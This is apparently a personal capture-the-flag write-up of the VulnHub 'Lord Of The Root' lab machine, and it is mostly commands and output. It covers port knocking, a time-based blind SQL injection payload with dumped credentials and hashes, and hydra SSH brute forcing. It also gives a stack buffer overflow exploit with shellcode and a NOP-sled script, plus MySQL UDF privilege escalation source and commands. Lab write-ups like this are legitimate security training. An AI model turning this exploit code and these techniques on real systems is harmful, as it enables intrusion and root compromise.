Lord Of The Root VulnHub Writeup

  1. Initial Scan
  2. Knock Friend To Enter
  3. Next Steps
  4. Mordors Gates
  5. SSH access
  6. The right path
  7. Smashing it!
  8. Other paths
  9. Target binaries
  10. Conclusion

This image is brought to us by KookSec, and includes two methods for gaining root.

Initial Scan

After finding the IP of the machine, I run a full nmap scan.

The only result from my initial scan was port 22.

Knock Friend To Enter

After connecting to the SSH server, we get a rather obvious (but welcome) hint regarding port knocking.

.____    _____________________________
|    |   \_____  \__    ___/\______   \
|    |    /   |   \|    |    |       _/
|    |___/    |    \    |    |    |   \
|_______ \_______  /____|    |____|_  /
        \/       \/                 \/
____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
\/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3

Using the program 'knock', I knock with the sequence hinted at.

knock 192.168.57.102 1 2 3

After another nmap scan, we discover that port 1337 is now open, and has an Apache server behind it.

Next Steps

After visiting the port in a browser, we're presented with a login screen.

There was nothing of interest in the image - so I check for a robots.txt file. There is a 200 response, but it's not like any robots file I've ever seen.

The image itself does not contain anything of interest, but in the source of this page, we find a Base64 string.

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

This decodes to the following.

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

This in turn decodes to the following.

/978345210/index.php

Great - we have another URL to check out.

Mordors Gates

After visiting the above path, we're presented with a login form.

After attempting to do some manual SQLI on this, I turn to our trusty friend, sqlmap.

sqlmap immediately find a AND/OR time-based blind injection vector.

Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: username=test' AND (SELECT * FROM (SELECT(SLEEP(5)))vDeJ) AND 'sCAf'='sCAf&password=test&submit= Login
---
[13:43:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0.12
[13:43:44] [INFO] fetched data logged to text files under '/home/test/.sqlmap/output/192.168.57.102'

[*] shutting down at 13:43:44

After performing some checks, it appears our current database is called 'Webapp', which only has one table named 'Users'. I proceed to dump the contents of this table.

+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
| 1  | frodo    | iwilltakethering |
| 2  | smeagol  | MyPreciousR00t   |
| 3  | aragorn  | AndMySword       |
| 4  | legolas  | AndMyBow         |
| 5  | gimli    | AndMyAxe         |
+----+----------+------------------+

There is an image output at the path of '/images/legolas.jpg', but I couldn't find any further leads here.

A little further work on the SQLI reveals the current user is 'root'. I dump the password hashes for later, in case we need them.

sqlmap --url='http://192.168.57.102:1337/978345210/' --threads=10 --data="username=test*&password=test&submit= Login" --passwords
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150824}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:03:16

custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
[13:03:18] [INFO] resuming back-end DBMS 'mysql'
[13:03:18] [INFO] testing connection to the target URL
[13:03:18] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: username=test' AND (SELECT * FROM (SELECT(SLEEP(5)))vDeJ) AND 'sCAf'='sCAf&password=test&submit= Login
---
[13:03:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0.12
[13:03:18] [INFO] fetching database users password hashes
[13:03:18] [INFO] fetching database users
[13:03:18] [INFO] fetching number of database users
[13:03:18] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[13:03:18] [WARNING] time-based comparison requires larger statistical model, please wait..............................                                       
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[13:03:31] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
5
[13:03:36] [INFO] retrieved:
[13:03:41] [INFO] adjusting time delay to 1 second due to good response times
'root'@'localhost'
[13:04:57] [INFO] retrieved: 'root'@'lordoftheroot'
[13:06:34] [INFO] retrieved: 'root'@'127.0.0.1'
[13:07:45] [INFO] retrieved: 'root'@'::1'
[13:08:33] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[13:10:31] [INFO] fetching number of password hashes for user 'root'
[13:10:31] [INFO] retrieved: 1
[13:10:32] [INFO] fetching password hashes for user 'root'
[13:10:32] [INFO] retrieved: *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F
[13:12:36] [INFO] fetching number of password hashes for user 'debian-sys-maint'
[13:12:36] [INFO] retrieved: 1
[13:12:37] [INFO] fetching password hashes for user 'debian-sys-maint'
[13:12:37] [INFO] retrieved: *A55A9B9049F69BC2768C9284615361DFBD580B34

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *A55A9B9049F69BC2768C9284615361DFBD580B34
[*] root [1]:
    password hash: *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F

After running the above two hashes through CrackStation, we come up with a match for the 'root' user. Their password is 'darkshadow'. I note this down for later.

SSH access

Ok, so we've got a list of usernames and passwords. What can we authenticate against?

After running the list through hydra, we get a match for the 'smeagol' user.

hydra 192.168.57.102 ssh -L users.txt -P passwords.txt -s 22
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-24 13:07:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 25 login tries (l:5/p:5), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.57.102   login: smeagol   password: MyPreciousR00t

After logging in, I check the sudo access provided to the 'smeagol' user.. whoops!

Looks like we can sudo to anyone, and execute any command. This was not an intended route to solve the machine, so I carry on digging.

The right path

After doing a quick search for any binaries with their SUID or SGID bits set, I find three files in the '/SECRET' directory.

After loading each one in turn into gdb, I find that one of the binaries has a buffer overflow vulnerability, allowing us to overwrite the EIP register by providing malformed data as the first argument. EIP is overwritten at position 171 in the first argument.

It's worth noting, that the location of the file with the vulnerability appears to change every few minutes - I'm guessing due to a cron job.

Smashing it!

After loading up the binary in gdb on my host machine, I find the binary is using no protection what-so-ever.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

I couldn't find any useful places to jump to (no calls to exec, etc), so I go about creating some shell code. Handily, gdb-peda comes with some shell code generators.

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

I check to see if ASLR is enabled on the machine - DAMN, it is. I guess we'll need to dig out our sled.

After putting together a little Python script to automate the exploitation procedure, we run it and wait.

import os

def getCurrentBinary():
    dirpath = os.path.abspath('/SECRET')
    all_files = ( os.path.join(basedir, filename) for basedir, dirs, files in os.walk(dirpath) for filename in files   )
    sorted_files = sorted(all_files, key=os.path.getsize)
    target_binary = sorted_files[0]
    return target_binary

while True:
    eipOffset = 171
    targetAddress = '\x31\x0e\xcc\xbf'
    nopPadding = 20480
    shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
    exploit = ('A' * eipOffset) + targetAddress + ('\x90' * nopPadding) + shellcode
    os.system(getCurrentBinary() + ' ' + exploit)

The 'targetAddress' value is simply a sample stack address retrieved from a recent gdb run.

After a few seconds, we get lucky, and are presented with our shell.

python expl.py
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(smeagol)
# ls /root
Flag.txt  buf  buf.c  other  other.c  switcher.py
# cat /root/Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

Other paths

So, we've been told there are two methods for getting the flag. The only other lead I've got is the 'root' login for the MySQL server.

After checking to see which user MySQL is running as, I get a gleam of inspiration.

smeagol@LordOfTheRoot:~$ ps aux | grep mysql
root      1064  0.0  7.4 326672 37864 ?        Ssl  05:13   0:03 /usr/sbin/mysqld

After digging out a blog post that describes escalation privileges via MySQL when it's configured in this way, I set about recreating their attack.

First, I take the source for a C program, which will become a MySQL user defined function.

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

system(args->args[0]);

return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

I then compile it, as per the instructions in the blog post (note, the blog post actually has a mistake in it, regarding the third flag on the gcc call - it's listed as '-W1', instead of '-Wl')

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Now I log in as the root MySQL user, and make a few commands to essentially load the compiled file into a table, and then read it out into a file in the '/usr/lib/mysql/plugin/' directory. We then create the UDF in MySQL, and proceed to execute commands as the root user.

mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1777
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
+------------------------------------------------+
| do_system('id > /tmp/out; chmod 777 /tmp/out') |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

mysql> \! cat /tmp/out
uid=0(root) gid=0(root) groups=0(root)

Awesome! Let's identify our flag file, and then output it to a world readable file.

mysql> select do_system('cat /root/Flag.txt > /tmp/out; chmod 777 /tmp/out');
+----------------------------------------------------------------+
| do_system('cat /root/Flag.txt > /tmp/out; chmod 777 /tmp/out') |
+----------------------------------------------------------------+
|                                                              0 |
+----------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> \! cat /tmp/out
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

Target binaries

After I gained a root shell, I checked out the source for both the vulnerable binary, the safe binaries, the switcher script and the cron entry. They are listed below, for completeness.

/root/buf.c (vulnerable)

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){

    char buff[159];
    if(argc <2){
           printf("Syntax: %s <input string>\n", argv[0]);
        exit (0);

         }
  strcpy(buff, argv[1]);
  return 0;

}

/root/other.c (safe)

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){

        char buff[150];
        if(argc <2){
                printf("Syntax: %s <input string>\n", argv[0]);
                exit (0);

        }
  //This Program does nothing
  return 0;

}

/root/switcher.py (file switching script)

#!/usr/bin/python
import os
from random import randint

targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
   os.system("rm "+t+"*")
   os.system("cp -p other "+t)
   os.system("cp -p "+t+"other "+t+"file")
   os.system("rm "+t+"other")

luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")

/var/spool/cron/crontabs/root

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.koyqyc/crontab installed on Fri Sep 18 04:43:32 2015)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/3 * * * * /root/switcher.py

Conclusion

The binary exploitation was quite fun here - I was quite pleased my NOP sled actually worked, as I had my doubts that what I was doing was correct. I'm sure there are more efficient ways of circumventing ASLR, but this was the first technique that came to mind.

The MySQL privilege escalation route was pretty cool - I'd read about this method some time ago. Being able to put it in to practice was great.

Thanks for the challenge KookSec, and thanks for hosting it VulnHub!